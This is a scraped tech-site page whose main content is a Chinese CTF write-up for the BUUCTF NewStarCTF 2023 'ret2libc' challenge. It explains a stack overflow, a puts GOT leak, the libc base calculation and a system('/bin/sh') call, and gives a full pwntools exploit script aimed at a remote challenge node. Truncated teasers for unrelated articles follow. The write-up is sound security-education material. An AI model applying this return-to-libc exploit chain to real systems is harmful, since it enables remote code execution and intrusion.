news 2026/7/9 22:07:43

BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF[[NewStarCTF 2023 公开赛道]ret2libc]

步骤

使用checksec查看

由于这道题没有后门函数,并且只开启了栈不可执行保护,于是我们使用ret2libc

需要执行两次函数流程,第一次泄露libc地址,第二次通过泄露的地址来执行system函数

payload1:

先通过栈溢出覆盖返回地址,然后使用pop rdi;ret来将puts 的 GOT 表地址传入 rdi 寄存器

然后调用 puts 函数,打印puts_got中存储的 puts 真实地址

puts 执行完后跳回 main 函数,重新触发输入提示(方便发送第二个 Payload)

然后计算 libc 基址与目标地址

payload2:

溢出后使用ret来调整栈为 16 字节对齐

然后通过pop rdi;ret来将/bin/sh地址传入rdi寄存器

最后调用system函数来执行system("/bin/sh")

main函数地址为0x400698

通过read函数可以溢出buf缓冲区,只需要0x20+0x8个字节

pop rdi;ret 地址: 0x400763

ret地址: 0x400506

本地调试:

这里选择的9

获取flag:

远程连接选择的1

exp

from pwn import * from LibcSearcher import * context.log_level = 'debug' #p = process('./ret2libc') p = remote('node5.buuoj.cn',26594) elf = ELF('./ret2libc') pop_rdi_addr = 0x400763 ret_addr = 0x400506 main_addr =0x400698 puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] payload1 = b'a'*(0x20+8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Show me your magic again\n",payload1) p.recvuntil(b'See you next time\n') puts_addr = u64(p.recvline().strip().ljust(8, b'\x00')) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh = libc_base + libc.dump("str_bin_sh") payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Show me your magic again\n",payload2) p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/10 7:06:33

2025终极开源工具生态:35+类别全面重塑你的数字工作流

还在为数字化转型而苦恼?面对层出不穷的开源工具不知如何选择?本文将彻底改变你对开源软件的认知,通过场景化分类实战指南,助你构建高效数字工作环境。阅读本文,你将获得: 【免费下载链接】awesome-free-so…

作者头像 李华
网站建设 2026/7/9 4:02:23

3步搞定!iLogtail日志采集终极实战指南

你是不是经常被这些问题困扰?服务器日志分散在各个角落,手动查看效率低下;业务异常时无法快速定位问题根源;监控数据采集配置复杂难懂?今天,让我带你用iLogtail这个轻量级日志采集工具,彻底解决…

作者头像 李华
网站建设 2026/7/9 18:15:34

西安电子科技大学数字图像处理全套PPT教学资源

西安电子科技大学数字图像处理全套PPT教学资源 【免费下载链接】西安电子科技大学-数字图像处理PPT课件全套 本仓库提供西安电子科技大学《数字图像处理》课程的全套PPT课件下载。这些课件涵盖了通信工程学院、计算机学院、电子工程学院、人工智能学院等多个学院的相关课程内容…

作者头像 李华
网站建设 2026/7/8 16:29:05

TileLang与OpenAI Triton技术选型指南:开发效率与性能极限的权衡

在当前GPU编程和AI加速的快速发展阶段,技术决策者面临着一个核心难题:如何在开发效率与性能极限之间找到最佳平衡点。TileLang与OpenAI Triton作为两大主流性能优化工具,代表了两种截然不同的技术哲学。本文将从商业价值与技术实现的双重视角…

作者头像 李华
网站建设 2026/7/9 22:49:24

租赁MT8852B 蓝牙测试仪 的技术参数与功能特点

MT8852B 蓝牙测试仪 的技术参数与功能特点,接下来会按背景、核心功能、技术参数表格和总结建议展开。 📌 结论先行 MT8852B 是安立(Anritsu)公司推出的高性能蓝牙综合测试仪,非罗德与施瓦茨(R&S&…

作者头像 李华
网站建设 2026/7/9 0:19:23

从零开始:5天搭建开源原子显微镜OpenSTM完全指南

从零开始:5天搭建开源原子显微镜OpenSTM完全指南 【免费下载链接】OpenSTM OpenSTM - 一个扫描隧道显微镜项目,可能用于科研或精密工程领域。 项目地址: https://gitcode.com/gh_mirrors/op/OpenSTM 想要亲眼看到原子世界吗?现在你可以…

作者头像 李华